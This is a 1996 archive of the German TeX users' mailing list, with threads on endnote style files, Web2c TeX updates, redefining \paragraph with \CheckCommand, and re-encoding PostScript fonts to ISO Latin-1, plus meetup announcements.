einiges :-) From owner-tex-d-l@VM.GMD.DE Mon Apr 1 10:36:28 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rainer Schoepf Date: Mon, 1 Apr 1996 10:36:17 +0200 Lieber DANTE-Administrator, Nun suche ich ein ganz bestimmtes Style-File fuer mein LaTeX 2.09 und weiss nicht, an wen ich mich wenden kann. Koennten Sie bitte meine Frage an die entsprechende Stellen weiterleiten? Vielen Dank! ------------- schnipp, schnapp --------------- Hallo, ich bin auf der Suche nach einem LaTeX (2.09) Style-File, das mir erlaubt Endnoten in einem Text einzufuegen und zwar analog zu den Fussnoten. D.h. statt \footnote{...} \endnote{...} oder aehnlich. Wer kann mir weiterhelfen? Gruss Bertram (beso@mathi.uni-heidelberg.de) From owner-tex-d-l@VM.GMD.DE Mon Apr 1 10:47:59 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Mon, 1 Apr 1996 10:46:53 +0200 Subject: Re: Endnoten -----BEGIN PGP SIGNED MESSAGE----- > ich bin auf der Suche nach einem LaTeX (2.09) Style-File, das > mir erlaubt Endnoten in einem Text einzufuegen und zwar analog > zu den Fussnoten. D.h. statt \footnote{...} \endnote{...} oder > aehnlich. Wer kann mir weiterhelfen? Selbst suchen macht schlau: rzdspc1% ftp ftp.dante.de ... ftp> quote site index endnote 200-index endnote 200-NOTE. This index shows at most 20 lines. for a full list of files, 200-retrieve /tex-archive/FILES.byname 200-1993/02/15 | 1451 | macros/generic/endnote.tex 200-1992/03/20 | 1142 | macros/latex209/contrib/misc/endnote.sty 200-1991/10/10 | 11013 | macros/latex209/contrib/misc/endnotes.sty 200-1989/11/23 | 1451 | macros/plain/contrib/samples/endnote.tex 200-1995/07/13 | 3255 | systems/msdos/4alltex/disk04/endnotes.zip 200 (end of 'index endnote') Der LaTeX-Begleiter empfiehlt endnotes.sty von John Lavagnino, also CTAN:/tex-archive/macros/latex209/contrib/misc/endnotes.sty Gruss, -rz - -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 == Weisst Du, UNIX ist fuer normale Menschen praktisch unbedienbar == F. Gers -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMV+X9UbfUueFIgaNAQHx/AP8Dl75/VdiSqHXnKsbBUnVVBAta4mUbHVJ 0NIiqDQ/BW7VFwRnDpRdJqXSpq9DkQh+JBR6lJn23yoedhtPNAs6UB708TSvKAks hqcJBmXMv+gj515SUXjix+81c/FBezQV4oo2eMqtNkxWWpqcFFm7QhA4/hLutmDa rYCF06nzrwk= =hv7C -----END PGP SIGNATURE----- From owner-tex-d-l@VM.GMD.DE Mon Apr 1 10:10:47 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Monika Sester Date: Mon, 1 Apr 1996 10:05:31 +0000 Subject: multicol und figures liebe tex-ler, multicol hat ja probleme mit figure - ich habe festgestellt, dass man mit dem HERE-style wenigstens die figuren erzeugen und plazieren kann. wie HERE verspricht, erscheinen diese dann eben genau da, wo man das kommando absetzt, was manchmal zu unerwuenschten luecken fuehrt. jetzt meine frage: gibt es inzwischen einen mulitcolumn-style, welcher mit figuren umgehen kann ? ciao -moni ----------------------------------------------------------- dr. monika sester - institut fuer photogrammetrie - uni-stuttgart monika.sester@ifp.uni-stuttgart.de 0711-121 3384 From owner-tex-d-l@VM.GMD.DE Tue Apr 2 12:05:29 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Kaufmann Date: Tue, 2 Apr 1996 12:04:24 +0200 Subject: aktuelles Web2c-TeX ?? G"ottingen, den 04.02.1996 Hallo, vor ungef"ahr einem Jahr habe ich die TeX-Installation f"ur mehrere UN*X-Plattformen gemacht (Digital Unix, AIX, Solaris, Ultrix). Daf"ur habe ich die Web2c-TeX-Sourcen von Karl Berry benutzt (CTAN:/tex-archive/systems/web2c). Das hat soweit sehr gut geklappt. Allerdings wurde man schon damals im README auf das kurz bevorstehende Update vertr"ostet, bei dem man dann auch nicht mehr KPATHSEA-2.6 patchen m"usste. Jetzt m"ochte ich TeX auch noch unter SUN-OS 4.1.4 installieren. Dabei habe ich festgestellt, da"s die Web2c-TeX-Sourcen immer noch den Stand von vor einem Jahr aufweisen. Wei"s irgendjemand, wo man eine aktuellere Version herbekommen kann? Denn ich w"urde auch gerne gleich die aktuelle TeX-Version 3.14159 verwenden. Oder gibt es eine einfache M"oglichkeit, das Update f"ur 3.14159 in die alten Web2c-Sourcen einzuspielen? Vielen Dank f"ur Hinweise und Anregungen. Ansonsten schon einmal ein frohes Osterfest w"unscht, Joachim Kaufmann -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + Joachim Kaufmann E-Mail: jkaufma@gwdg.de + + Tel.: (0551) 201-1547 + + Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH + + Am Fassberg + + 37077 GOETTINGEN Fed. Rep. of GERMANY + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ From owner-tex-d-l@VM.GMD.DE Tue Apr 2 12:27:07 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Tue, 2 Apr 1996 12:26:33 +0200 Subject: Re: aktuelles Web2c-TeX ?? Joachim Kaufmann schreibt: : vor ungef"ahr einem Jahr habe ich die TeX-Installation f"ur : mehrere UN*X-Plattformen gemacht (Digital Unix, AIX, Solaris, : Ultrix). Daf"ur habe ich die Web2c-TeX-Sourcen von Karl Berry : benutzt (CTAN:/tex-archive/systems/web2c). Das hat soweit : sehr gut geklappt. Allerdings wurde man schon damals im README : auf das kurz bevorstehende Update vertr"ostet, bei dem man dann : auch nicht mehr KPATHSEA-2.6 patchen m"usste. : Jetzt m"ochte ich TeX auch noch unter SUN-OS 4.1.4 installieren. : Dabei habe ich festgestellt, da"s die Web2c-TeX-Sourcen immer : noch den Stand von vor einem Jahr aufweisen. Ist leider wahr :-( ...aber keine Sorge, das naechste web2c kommt bestimmt! Karl Berry ist gerade an web2c-7.0, die einige Neuerungen enthalten wird (ueber Konfigurationsfile spezifizierbare Groessen der meisten Arrays, ``TeX Code Pages'', ML-TeX-Support, etc.). Momentan haben eine kleine Gruppe von Personen Test-Versionen erhalten, um Bugs zu finden und weitere Verbesserungsvorschlaege einzubauen. Wann diese neue Version letztlich erscheinen wird, steht noch in den Sternen -- ich nehme mal an, fruehestens Mitte des Jahres, da noch mindestens eine Testversion vorher an die Tester verteilt werden soll. : Wei"s irgendjemand, wo man eine aktuellere Version herbekommen : kann? Denn ich w"urde auch gerne gleich die aktuelle TeX-Version : 3.14159 verwenden. Oder gibt es eine einfache M"oglichkeit, : das Update f"ur 3.14159 in die alten Web2c-Sourcen einzuspielen? Man kann das neue tex.web auch in die jetzigen web2c-6.1-Sources (mit kpathsea-2.6-Patch) einspielen. Aenderungen sind aber an der Banner-Line (3.1415 => 3.14159) und an der Aenderung der Zeile undump(0)(font_mem_size)(bchar_label[k]); notwendig, da diese in tex.web durch undump(0)(fmem_ptr-1)(bchar_label[k]); ersetzt wurde (man muss also in den beiden entsprechenden Zeile in `tex.ch' das `font_mem_size' durch `fmem_ptr-1' ersetzen). Ob das alle notwendigen Aenderungen waren, kann ich im Moment nicht sagen, da ich darauf im Moment keinen Zugriff habe. Ich werde aber so oder so, demnaechst (= wahrscheinlich ueber Ostern) fuer die Anpassungen von e-TeX V1 fuer web2c-6.1 entsprechende Hinweise und Patches zusammenstellen. Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Mon Apr 1 11:15:13 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Mon, 1 Apr 1996 11:07:31 -6000 Subject: Re: Endnoten On Mon, 1 Apr 1996, Rainer Schoepf wrote: > Lieber DANTE-Administrator, > > Nun suche ich ein ganz bestimmtes Style-File fuer mein > LaTeX 2.09 und weiss nicht, an wen ich mich wenden kann. > Koennten Sie bitte meine Frage an die entsprechende Stellen > weiterleiten? Vielen Dank! > > ------------- schnipp, schnapp --------------- > Hallo, > > ich bin auf der Suche nach einem LaTeX (2.09) Style-File, das > mir erlaubt Endnoten in einem Text einzufuegen und zwar analog > zu den Fussnoten. D.h. statt \footnote{...} \endnote{...} oder > aehnlich. Wer kann mir weiterhelfen? > > Gruss Bertram (beso@mathi.uni-heidelberg.de) > Bei zweispaltigem Satz macht fnright.sty (auf ftp.dante.de) sowas "ahnliches! Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Sat Apr 6 17:16:36 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sat, 6 Apr 1996 16:13:35 +0100 Subject: Re: paragraph u.a. In <9373.828007473@rigel.tm.informatik.uni-frankfurt.de> Anselm Lingnau writes: >Rene Steiner schreibt: >> Nicht im Sinne des Erfinders, aber eine einfache Loesung ist >> >> \paragraph{Ueberschrift}\strut\\ >Eine elegantere L"osung ist aber bestimmt, die Definition von \paragraph >entsprechend anzupassen. Das Bernhardiner-Buch deutet an, wie: > \renewcommand\paragraph{\@startsection{paragraph}{4}{\z@}% > {3.25ex \@plus1ex \@minus.2ex}% > {1sp}% > {\normalfont\normalsize\bfseries}} Besser: \NeedsTeXFormat{LaTeX2e} \CheckCommand{\paragraph}{\@startsection{paragraph}{4}{\z@}% {3.25ex \@plus1ex \@minus.2ex}% {-1em}% {\normalfont\normalsize\bfseries}} \renewcommand{\paragraph}{\@startsection{paragraph}{4}{\z@}% {3.25ex \@plus1ex \@minus.2ex}% {1sp}% {\normalfont\normalsize\bfseries}} \CheckCommand pr"uft, ob das angegebene Kommando auch wirklich die gew"unschte Definition hat; das sollte man vor'm "Uberladen von Kommandos immer tun -- sonst kann es zu ungew"ohnlichen Folgen kommen, wenn das zu "uberladenen Kommando irgendwann eine andere Definiton bekommt. Gru"s Martin -- Martin Schr"oder, MS@Dream.HB.North.DE Every person takes the limits for their own field of vision for the limits of the world. (Arthur Schopenhauer) From owner-tex-d-l@VM.GMD.DE Sun Apr 7 17:44:06 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sun, 7 Apr 1996 16:23:42 +0100 Subject: Mailverluste :-( Hi, leider hat es bei meinem Feed Mailverluste gegeben. Mails an mich zwischen 1996-03-18 und 1996-03-27 sind h"ochstwahrscheinlich verlorengegangen; bei Bedarf also bitte nochmal senden. Danke im voraus Martin -- Martin Schr"oder, MS@Dream.HB.North.DE A new scientific truth does not triumph by convincing its opponents and making them see the light, but rather because its opponents even- tually die, and a new generation grows up that is familiar with it. (Planck 1949) From owner-tex-d-l@VM.GMD.DE Sun Apr 7 21:50:00 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sun, 7 Apr 1996 21:26:13 +0100 Subject: TeX-Stammtisch in Bremen im April 1996 Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch am 9. April 1996 um 18:00 in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/628813 CU Martin -- Martin Schr"oder, MS@Dream.HB.North.DE A new scientific truth does not triumph by convincing its opponents and making them see the light, but rather because its opponents even- tually die, and a new generation grows up that is familiar with it. (Planck 1949) From owner-tex-d-l@VM.GMD.DE Tue Apr 9 10:27:17 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Tue, 9 Apr 1996 10:23:17 +0200 Subject: Re: paragraph Ich wei"s nicht was mit meiner letzten Mail passiert ist. Jedenfalls bekam ich von einem Leser der Liste die Nachricht, da"s meine Mail nur verst"ummelt ankam. Ich l"oschte seine Nachricht und wollte es noch einmal von vorn versuchen, aber mein Originaltext ist vollkommen fl"oten gegangen. Wenn es wirklich noch mehr als einen gibt, denn mein Geschreibsel interessiert, bitte noch mal das was angekommen ist an mich schicken. Ich versuche es dann noch mal fortzusetzen. Ansonsten schreibe ich es J"urgen Rommel (E-Mail?????) privat. Tsch"u"s Andreas. ... ... From owner-tex-d-l@VM.GMD.DE Tue Apr 9 08:46:38 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Tue, 9 Apr 1996 08:42:28 MESZ Subject: Re: paragraph u.a. > Besser: ??? > \CheckCommand pr"uft, ob das angegebene Kommando auch wirklich die gew"unschte > Definition hat; das sollte man vor'm "Uberladen von Kommandos immer tun -- > sonst kann es zu ungew"ohnlichen Folgen kommen, wenn das zu "uberladenen > Kommando irgendwann eine andere Definiton bekommt. Weshalb ist das besser. Wenn mir eine Definition nicht gef"allt, dann "andere ich sie halt, egal wann, wo und wie oft sie vorher ge"andert wurde. Mit \renewcommand kann ich halt sicher gehen, da"s ich nicht ausversehen etwas "uberschreibe, was sp"ater noch gebraucht wird und teile eben mit, da"s ich mir sicher bin, genau dieses Macro "andern zu wollen. Selbst wenn jemand es f"ur sinnvoll empfunden h"atte, vor mir \renewcommand{\paragraph}{\Huge\bf Grpl Umpf} zu definieren, so sehe ich keinen Grund, die From owner-tex-d-l@VM.GMD.DE Wed Apr 10 14:41:15 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Wed, 10 Apr 1996 14:37:00 +0200 Subject: Nochmal: Re: Paragraph Tschuldigung, die letzten zwei Zeilen meiner Mail wurden verschluckt. Hier nochmal alles: > Besser: ??? > \NeedsTeXFormat{LaTeX2e} > \CheckCommand{\paragraph}{\@startsection{paragraph}{4}{\z@}% > {3.25ex \@plus1ex \@minus.2ex}% > {-1em}% > {\normalfont\normalsize\bfseries}} > \renewcommand{\paragraph}{\@startsection{paragraph}{4}{\z@}% > {3.25ex \@plus1ex \@minus.2ex}% > {1sp}% > {\normalfont\normalsize\bfseries}} > > \CheckCommand pr"uft, ob das angegebene Kommando auch wirklich die gew"unschte > Definition hat; das sollte man vor'm "Uberladen von Kommandos immer tun -- > sonst kann es zu ungew"ohnlichen Folgen kommen, wenn das zu "uberladenen > Kommando irgendwann eine andere Definiton bekommt. Weshalb ist das besser? Wenn mir eine Definition nicht gef"allt, dann "andere ich sie halt, egal wann, wo und wie oft sie vorher ge"andert wurde. Mit \renewcommand kann ich halt sicher gehen, da"s ich nicht ausversehen etwas "uberschreibe, was sp"ater noch gebraucht wird und teile eben mit, da"s ich mir sicher bin, genau dieses Macro "andern zu wollen. Selbst wenn jemand es f"ur sinnvoll empfunden h"atte, vor mir \renewcommand{\paragraph}{\Huge\bf Grpl Umpf} zu definieren, so sehe ich keinen Grund, die vorangegangene Definition mit der Original-LaTeX-Definition zu vergleichen. Viele Gr"u"se Andreas. From owner-tex-d-l@VM.GMD.DE Wed Apr 10 20:40:25 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Wed, 10 Apr 1996 19:55:19 +0200 Subject: Re: Nochmal: Re: Paragraph In <199604101237.AA057969820@mlucom.urz.Uni-Halle.DE> Andreas Tille writes: >Tschuldigung, die letzten zwei Zeilen meiner Mail wurden verschluckt. >Hier nochmal alles: >> Besser: >??? >> \NeedsTeXFormat{LaTeX2e} >> \CheckCommand{\paragraph}{\@startsection{paragraph}{4}{\z@}% >> {3.25ex \@plus1ex \@minus.2ex}% >> {-1em}% >> {\normalfont\normalsize\bfseries}} >> \renewcommand{\paragraph}{\@startsection{paragraph}{4}{\z@}% >> {3.25ex \@plus1ex \@minus.2ex}% >> {1sp}% >> {\normalfont\normalsize\bfseries}} >> >> \CheckCommand pr"uft, ob das angegebene Kommando auch wirklich die gew"unschte >> Definition hat; das sollte man vor'm "Uberladen von Kommandos immer tun -- >> sonst kann es zu ungew"ohnlichen Folgen kommen, wenn das zu "uberladenen >> Kommando irgendwann eine andere Definiton bekommt. >Weshalb ist das besser? Wenn mir eine Definition nicht gef"allt, dann "andere >ich sie halt, egal wann, wo und wie oft sie vorher ge"andert wurde. >Mit \renewcommand kann ich halt sicher gehen, da"s ich nicht ausversehen >etwas "uberschreibe, was sp"ater noch gebraucht wird und teile eben mit, >da"s ich mir sicher bin, genau dieses Macro "andern zu wollen. >Selbst wenn jemand es f"ur sinnvoll empfunden h"atte, vor mir >\renewcommand{\paragraph}{\Huge\bf Grpl Umpf} >zu definieren, so sehe ich keinen Grund, die vorangegangene Definition >mit der Original-LaTeX-Definition zu vergleichen. Stimmt. :-) Normalerweise reicht das. Wenn man allerdings wie im obigen Fall einen Gro"steil der Originaldefinition "ubernimmt, ist es sinnvoll, vorher zu pr"ufen, ob man die richtige Definition "ubernimmt... :-) Gru"s Martin -- Martin Schr"oder, MS@Dream.HB.North.DE The juvenile .sig squirter wanders through the net searching for a suitable Internet provider to cling to and make it's home for life. For this task it has an AOL'ers nervous system. When it find its spot and gets an account, it doesn't need it's brain any more so it posts MMF schemes. It's rather like reaching Pearth. (Adam Haberlach) From owner-tex-d-l@VM.GMD.DE Wed Apr 10 21:04:19 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Wed, 10 Apr 1996 21:04:06 +0200 Subject: Re: Nochmal: Re: Paragraph Martin Schroeder schreibt: > Wenn man allerdings wie im obigen Fall einen Gro"steil der Originaldefinition > "ubernimmt, ist es sinnvoll, vorher zu pr"ufen, ob man die richtige Definition > "ubernimmt... :-) Also damit hatte ich in 10 Jahren LaTeX bisher eigentlich kein Problem. Im "ubrigen w"urde ich mein Paket durch das \CheckCommand spezifisch von einer Dokumentklasse abh"angig machen, und das gef"allt mir "uberhaupt nicht. Warum sollte mein Paket `wissen', dass der Abstand vor einem \paragraph{} zuf"allig `3.25ex plus1ex minus.2ex' war? Vielleicht wird das n"achstes Jahr ge"andert, oder ich m"ochte meine Stiloption zu einer anderen Klasse hinzuladen, wo der Abstand `3.25ex plus1ex minus.19ex' ist? \CheckCommand hat vielleicht eine Berechtigung, wenn man wirklich an lebensnotwendige Innereien von LaTeX rangeht (hu brrr), wo kleine Abweichungen unter Umst"anden grosse Unterschiede oder subtile Fehler bewirken. Im Vergleich dazu ist ein Kommando wie \paragraph aber von eher peripherer Bedeutung -- schliesslich handelt es sich dabei um nichts weiter als ein bisschen visuelle Formatierung --, und die vor dem \renewcommand g"ultige Definition muss, damit die neue funktionieren kann, nicht bis aufs I-T"upfelchen mit dem "ubereinstimmen, was ich glaube, was sie irgendwann mal war. Insbesondere w"urde ich \CheckCommand eher auch als M"oglichkeit ansehen, mit der man pr"ufen kann, ob *andere* Kommandos, die man nicht umzudefinieren beabsichtigt, aber auf deren passende Definition es ankommt, so aussehen, wie man beim Schreiben des Pakets geglaubt hat. Man k"onnte sich auf den Standpunkt stellen: Wenn es klappt, klappt es, und sonst fliegt einem die neue Version vermutlich so gr"undlich um die Ohren, dass man es schon merken wird (an der Ausgabe oder an den TeX-Fehlermeldungen), bzw. wenn das nicht passiert, k"onnen die Unterschiede wohl nicht so gross gewesen sein. Ich pers"onlich w"urde sogar so weit gehen, die Anwendung von \CheckCommand in diesem Fall als "ubertriebene Pingelei zu charakterisieren, aber das ist nur meine eigene unmassgebliche Meinung. Wie oft hat die Definition von \paragraph{} sich "uberhaupt letztens ge"andert? Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de [Motif is] such a PIG on memory AND cpu. Kind of like having an elephant as a house pet. --- Cary Petterborg From owner-tex-d-l@VM.GMD.DE Sat Apr 13 15:17:01 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Markus Kohm Date: Thu, 11 Apr 1996 06:27:00 GMT Subject: Nochmal: Re: Paragraph >Im "ubrigen w"urde ich mein Paket durch das \CheckCommand spezifisch von >einer Dokumentklasse abh"angig machen, und das gef"allt mir "uberhaupt >nicht. Weil es sinnvoll ist. Nimm z.B. die \paragraph-Definition, lade sie zu einer KOMA-Script-Klasse und wundere Dich verzweifelt, dass \sectfont ueberhaupt nicht beachtet wird. Als naechsten kommt dann vermutlich der Bug-Report an mich, ohne jeglichen Hinweis, dass da etwas geaendert wurde. (Klar, Du machst das nicht, aber gib es weiter, der Empfaenger ersetzt report durch scrreprt, Peng!). Verwendet man hingegen \CheckCommand, wird man gleich darauf aufmerksam gemacht, dass da etwas u.U. nicht stimmt. Man hat dann immernoch die Wahl, ob man etwas aendern will oder nicht. >Vielleicht wird das n"achstes Jahr ge"andert, oder ich m"ochte meine >Stiloption zu einer anderen Klasse hinzuladen, wo der Abstand `3.25ex >plus1ex minus.19ex' ist? Was machts? Dann schaut man nach _was_ anders ist und reagiert entsprechend. Wenn man aber erstmal ueberhaupt nicht merkt, dass etwas anders ist, kann es spassig werden. >Wie oft hat die Definition von \paragraph{} sich "uberhaupt letztens >ge"andert? So selten, dass \CheckCommand erst recht berechtigt ist. Denn ist duerfte doch eher zu vermuten sein, dass eine Abweichung dann seinen Grund haben muesste. Gruss Markus From owner-tex-d-l@VM.GMD.DE Fri Apr 12 11:21:41 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Heike Hering Date: Fri, 12 Apr 1996 11:14:01 +0200 Subject: Font Encoding Hallo liebe TeXperten, weiss jemand, wie man korrekterweise den Encoding-Vektor in PostScript-Dateien (die man selbst getippt hat) umstellen muss? Wir wollen deutsche und franzoeesische Sonderzeichen erzeugen. Hier unser Versuch: %!PS-Adobe-2.0 EPSF-2.0 %%BoundingBox: 0 0 420 240 /Helvetica findfont dup length dict begin {1 index /FID ne {def} {pop pop} ifelse} forall /Encoding ISOLatin1Encoding def currentdict end /Helvetica-ISOLatin1 exch definefont pop setfont 20 20 moveto (abc) show xpsview meint dazu, dass ein stackunderflow im operator setfont vorliegt. Was machen wir falsch? Gruesse aus Hannover H. Hering --------------------------------------------------------------------- Dr. Heike Hering : Shipping Address: - ICEM Documentation - : ICEM Technologies : : ICEM Systems GmbH phone: +49 (511) 9848-700 : Kuesterstrasse 8 fax: +49 (511) 9848-810 : D-30519 Hannover email: heike_hering@icem.de : Germany --------------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Fri Apr 12 16:33:49 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Hoffstadt Date: Fri, 12 Apr 1996 16:30:07 +0200 Subject: Re: Font Encoding Hallo, der Versuch war fast ok: > %!PS-Adobe-2.0 EPSF-2.0 > %%BoundingBox: 0 0 420 240 > > /Helvetica findfont > > dup length dict begin > {1 index /FID ne {def} {pop pop} ifelse} forall > /Encoding ISOLatin1Encoding def > currentdict > end > /Helvetica-ISOLatin1 exch definefont pop > setfont > > 20 20 moveto > (abc) show > Vor "setfont" fehlt der skalierte Font: /Helvetica-ISOLatin1 findfont 12 scalefont oder welche Schriftgroesse man eben haben will. -- Johannes Hoffstadt Johannes.Hoffstadt@bio.uni-giessen.de Inst.f.Pflanzen"okologie Heinrich-Buff-Ring 38 Justus-Liebig-Universit"at D-35392 Giessen From owner-tex-d-l@VM.GMD.DE Sun Apr 14 05:05:43 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Volker Huettenrauch Date: Sat, 13 Apr 1996 19:13:00 +0200 Subject: Stammtisch in Hamburg Moin TeXniker in Hamburg und Umgebung, der naechste TeX-Stammtisch in Hamburg findet wegen des TeX-Treffens in Augsburg erst am Mittwoch 24.4.96 um 18 Uhr Bei Themi/ Xenios in der Osterstr. 46 statt. Mit dem OePNV kann man es wie folgt erreichen: Schulweg: 113 und 182 Wir hoffen, dass zu diesem Zeitpunkt wieder reichlich TeXniker zum Treffen kommen. MfG Volker From owner-tex-d-l@VM.GMD.DE Sun Apr 14 04:38:30 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Walter Obermiller Date: Sat, 13 Apr 1996 22:00:10 +0200 Subject: Re: Font Encoding Liebe Heike, > Hier unser Versuch: > > %!PS-Adobe-2.0 EPSF-2.0 > %%BoundingBox: 0 0 420 240 > > /Helvetica findfont > > dup length dict begin > {1 index /FID ne {def} {pop pop} ifelse} forall > /Encoding ISOLatin1Encoding def ^^^^^^^^^^^^^^^^^ aeltere Drucker kennen diesen Operator nicht > currentdict > end > /Helvetica-ISOLatin1 exch definefont pop > setfont > > 20 20 moveto > (abc) show Dieser Ansatz ist schoen, wenn man sicher sein kann, dasz man das Dokument immer auf einem Drucker mit PostScript-Level-II ausdrucken kann. Ist das nicht der Fall (mein QMS ist von 1988), dann sollte man das Re-encoding mit dem Iso-latin1 encoding-vector von Hand machen, z.B. so: (thanks to Michael Salmon): %From: etxmesa@eos.ericsson.SE (Michael Salmon) %Date: Mon, 25 May 1992 10:07:20 GMT %Newsgroups: gnu.ghostscript.bug %Subject: Re: GS and 8-bit characters? %In article , lahtinen@gideon.fmi.fi (Kimmo Lahtinen) writes: %|> I would like to know what is the reason why umlauts does not print from %|> ghostscript? Is it question of fonts or ghostscript? %|> %|> Here in Finland we have Aring, Adieresis and Odieresis, but ghostscript %|> seems to ignore them. %|> %|> Also I would like to know how Type 1 fonts relate with ghostscript.% % %Unfortunately PostScript does not use ISO 8859-1 so ghostscript cannot either. The %characters are present in the font, just not visible, the following re-encodes a %font to use ISO 8859-1. % % Usage: /Times-Roman /Times-Roman-iso IsoEncode % /oldfont /newfont-iso IsoEncode [ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright /parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one /two /three /four /five /six /seven /eight /nine /colon /semicolon /less /equal /greater /question /at /A /B /C /D /E /F /G /H /I /J /K /L /M /N /O /P /Q /R /S /T /U /V /W /X /Y /Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c /d /e /f /g /h /i /j /k /l /m /n /o /p /q /r /s /t /u /v /w /x /y /z /braceleft /bar /braceright /asciitilde /.notdef /dotlessi /dieresis/ring /grave /acute /circumflex/tilde /macron /brev /dotaccent /cedilla /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright /ordfeminine /guillemotleft /logicalnot /endash /registered /macron /degree /plusminus /twosuperior /threesuperior /acute /mu /paragraph /bullet /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf /threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla /Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring /ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis /eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave /uacute /ucircumflex /udieresis /yacute /thorn /ydieresis ] /ISO-Latin-1 exch def /IsoEncode { % fontname newfontname => - /newfontname exch def /oldfontname exch def /oldfontdict oldfontname findfont def /newfontdict oldfontdict maxlength dict def % copy everything except FID and Encoding oldfontdict { exch dup dup /FID ne exch /Encoding ne and { exch newfontdict 3 1 roll put } { pop pop } ifelse } forall newfontdict /FontName newfontname put newfontdict /Encoding ISO-Latin-1 put newfontname newfontdict definefont pop } bind def % und dann den Font iso-latin1 re-encoden: /Times-Roman /Times-Roman-iso IsoEncode /Times-Roman-iso findfont 32 scalefont setfont 100 dup moveto (gargle hicks --- iso-latin1 l\344sst testen) show showpage --------- das hat den Vorteil dasz es (jedenfalls nach meiner Erfahrung) auf jedem PS-Drucker tut. gruss walter --------------------- Dr. Walter Obermiller walter@sbart.tynet.sub.org (home sweet home) walter@geobar.mpch-mainz.mpg.de 